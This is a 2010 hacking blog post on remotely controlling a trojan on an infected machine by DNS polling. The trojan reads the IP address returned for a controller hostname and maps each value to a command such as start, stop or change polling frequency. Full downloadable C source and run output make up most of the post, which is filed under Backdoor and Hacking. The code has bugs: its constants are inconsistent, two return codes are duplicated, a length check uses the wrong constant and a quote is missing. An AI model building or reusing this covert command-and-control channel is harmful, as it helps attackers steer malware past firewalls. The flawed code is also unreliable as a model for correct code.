Skip to content

Manage your evil code with DNS

by foip on December 19th, 2010

1. Introduction

This post provides an easy way to manage your software (evil or not) remotely, by using a simple DNS polling function.

Imagine that you have a small piece of code acting as an ethical Trojan, running somewhere on an (infected) computer connected behind several Firewalls and NAT devices, and that this computer is able the make DNS queries against Internet host-names (such as www.google.com). Why don’t use this ability to control your Trojan simply by switching the IP address of an Internet host-name ?

Example: Ask your Trojan to check the IP address of ctrl.mydomain.com on a regular basis (why not using a dynamic DNS hostname?). Based on the return IP address, run a sub routine of the Trojan.

  • If IP = 127.0.0.1 , keep sleeping
  • If IP = 127.0.1.1 , start something
  • If IP = 127.0.1.2 , stop the thing
  • If IP = 127.0.2.1 , start another thing
  • If IP = 127.0.2.2 , stop the other thing
  • If IP = 127.0.9.10 , change DNS polling frequency to 10 minutes
  • If IP = 127.0.9.30 , change DNS polling frequency to 30 minutes
  • If IP = 127.0.9.120 , change DNS polling frequency to 120 minutes


2. Sample code

In the c code provided bellow, the IP addresses are defined this way:


#define IP_DO_NOTHING       "127.0.0.1"     // keep sleeping
#define IP_START_CODE       "127.0.1.1"     // start something
#define IP_STOP_CODE        "127.0.1.2"     // stop the thing
#define IP_DNS_TIMER_10     "127.0.9.10"    // change freq to 10 min
#define IP_DNS_TIMER_30     "127.0.9.30"    // ... 30 minutes
#define IP_DNS_TIMER_120    "127.0.9.120     // ...



The DNS queries will be done with gethostbyname() and then checked against our predefined IP addresses.


// IP_DO_NOTHING
if(strncmp(ip,IP_DO_NOTHING,strlen(IP_DO_NOTHING)) == 0)
        return RET_IP_DO_NOTHING;

// IP_START_CODE
if(strncmp(ip,IP_START_CODE,strlen(IP_START_CODE)) == 0)
         return RET_IP_START_CODE;

...

return RET_IP_UNKNOWN; // IP Unknown



In order to make a polling function, see alarm() (this part is not present in the code provided below) . Example:


// Establish a handler for SIGALRM signals.
signal (SIGALRM, process_control);

// Set alarm
alarm (dns_timer);


3. Download

Download dns.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>

#define IP_DO_NOTHING          		"127.0.0.1"     // keep sleeping
#define IP_START_CODE          		"127.0.1.1"     // start something
#define IP_STOP_CODE          		"127.0.1.2"     // stop the thing
#define IP_DNS_TIMER_10        		"127.0.9.1"     // change freq to 10 min
#define IP_DNS_TIMER_30        		"127.0.9.2"     // ... 30 minutes
#define IP_DNS_TIMER_120      		"127.0.9.3"     // ...

// Function return values
#define RET_IP_DO_NOTHING              1
#define RET_IP_UNKNOWN                 2
#define RET_IP_START_CODE              101
#define RET_IP_STOP_CODE               102

#define RET_IP_DNS_TIMER_10            901
#define RET_IP_DNS_TIMER_30            902
#define RET_IP_DNS_TIMER_120           902

/*--------------------------*/
/* Resolv a hostname/IP     */
/*--------------------------*/
char* dns_resolv(char* hostname){

        struct hostent *hp;

        hp = gethostbyname(hostname);
        if (hp == NULL) {
#ifdef DEBUG
                perror("gethostbyname() failed\n");
#endif
                return NULL;
        }else{
                // Return first IP found
                if(hp -> h_addr_list[0] != NULL){
#ifdef DEBUG2
                        printf("dns_resolv(): IP: %s\n",
				(char*)inet_ntoa( *( struct in_addr*)( hp -> h_addr_list[0])));
#endif
                        return  (char*)inet_ntoa( *( struct in_addr*)( hp -> h_addr_list[0]));
                }else{
#ifdef DEBUG
                        printf("No IP found\n");
#endif
                        return NULL;
                }
        }

        return NULL; // Never reached
}

/*--------------------------------------------------------------------*/
/* Do a DNS polling.                                                  */
/* Return an 'action' id, based on the returned IP address (A record) */
/*--------------------------------------------------------------------*/

int poll_dns(char *hostname){

        char ip[64];
        bzero(ip,64);

        // Do the DNS query
        sprintf(ip,"%s",
               dns_resolv(hostname));

        // Found ?
        if(ip[0]){
#ifdef DEBUG2
                printf("IP found: %s\n",ip);
#endif
        }else{
#ifdef DEBUG2
                printf("IP NOT found !\n");
#endif
                return -1;
        }

	// Parse the IP address

        // IP_DO_NOTHING
        // --------------
        if(strncmp(ip,IP_DO_NOTHING,strlen(IP_DO_NOTHING)) == 0)
                return RET_IP_DO_NOTHING;
        // IP_START_CODE
        // --------------
        if(strncmp(ip,IP_START_CODE,strlen(IP_START_CODE)) == 0)
                return RET_IP_START_CODE;
        // IP_STOP_CODE
        // --------------
        if(strncmp(ip,IP_STOP_CODE,strlen(IP_STOP_CODE)) == 0)
                return RET_IP_STOP_CODE;
        // IP_DNS_TIMER_10
        // --------------
        if(strncmp(ip,IP_DNS_TIMER_10,strlen(IP_DNS_TIMER_10)) == 0)
                return RET_IP_DNS_TIMER_10;
        // IP_DNS_TIMER_30
        // --------------
        if(strncmp(ip,IP_DNS_TIMER_30,strlen(IP_DNS_TIMER_10)) == 0)
                return RET_IP_DNS_TIMER_30;
        // IP_DNS_TIMER_120
        // --------------
        if(strncmp(ip,IP_DNS_TIMER_120,strlen(IP_DNS_TIMER_120)) == 0)
                return RET_IP_DNS_TIMER_120;

        return RET_IP_UNKNOWN; // unexpected IP. Maybe where we should try to connect ?

}

int main(){

	printf("ret: %d\n", poll_dns("ctrl.mydomain.com"));

	return 0;
}



Usage example:

root@linux$ gcc -o dns -DDEBUG -DDEBUG2 dns.c
root@linux$ ./dns
dns_resolv(): IP: 127.0.0.1
IP found: 127.0.0.1
ret: 1
 

4. Then end

Hope you enjoy.



1 Star2 Stars3 Stars4 Stars5 Stars (2 votes, average: 5.00 out of 5)

Loading...

© 2010 – 2014, Fun Over IP. All rights reserved.

From → Backdoor, Hacking

One Comment
  1. That’s a simple but effective idea – should be more effective than basing on TXT or similar records to be returned.

Comments are closed.

© 2010-2019 Fun Over IP All Rights Reserved -- Copyright notice by Blog Copyright